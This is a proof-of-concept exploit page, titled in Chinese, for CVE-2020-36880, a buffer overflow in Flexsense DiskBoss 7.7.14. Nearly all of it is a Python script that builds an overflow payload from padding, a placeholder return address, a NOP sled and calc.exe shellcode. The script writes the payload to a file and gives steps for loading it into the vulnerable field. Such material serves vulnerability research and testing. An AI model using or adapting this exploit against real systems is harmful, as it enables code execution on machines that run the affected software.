CVE-2020-36880: Flexsense DiskBoss 7.7.14 本地缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2020-36880 PoC - DiskBoss 7.7.14 Buffer Overflow # Author: VulnCheck # Target: 'Reports and Data Directory' Field import struct import sys def create_exploit_payload(): """ Generate exploit payload for CVE-2020-36880 This PoC demonstrates the buffer overflow condition """ # Buffer size for overflow (adjust based on target) buffer_size = 524 # Typical overflow point # Padding to reach overflow threshold padding = b'A' * buffer_size # Overwrite EIP with address of our shellcode # Using common technique: jmp esp or call esp eip = struct.pack('<I', 0x41414141) # Placeholder - replace with valid address # NOP sled for reliability nops = b'\x90' * 32 # Shellcode - calc.exe (Windows) # This is a simple demonstration shellcode shellcode = ( b"\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\xb8\x2e\x65\x78\x65\x50\x83\xc0" b"\x0b\x89\x44\x24\xfc\xb8\x63\x6f\x6d\x6d\x50\x83\xc0\x0a\x89\x44\x24" b"\xf8\xb8\x65\x78\x65\x63\x50\x83\xc0\x07\x89\x44\x24\xf4\x31\xc0\x50\x40" b"\x50\x50\x54\xb8\x77\x1b\x81\x7c\xff\xd0\x31\xc0\x50\xb8\xea\x07\xd5\x7d" b"\xff\xd0" ) # Ensure total size is reasonable payload = padding + eip + nops + shellcode return payload def main(): print("[*] CVE-2020-36880 PoC Generator") print("[*] Target: Flexsense DiskBoss 7.7.14") print("[*] Vulnerability: Buffer Overflow in Reports and Data Directory") payload = create_exploit_payload() # Output payload to file output_file = "CVE-2020-36880_payload.bin" with open(output_file, 'wb') as f: f.write(payload) print(f"[+] Payload generated: {len(payload)} bytes") print(f"[+] Saved to: {output_file}") print("[!] Usage: Import this payload into the 'Reports and Data Directory' field") print("[!] Note: Replace EIP address with valid ROP gadget address for your system") if __name__ == "__main__": main()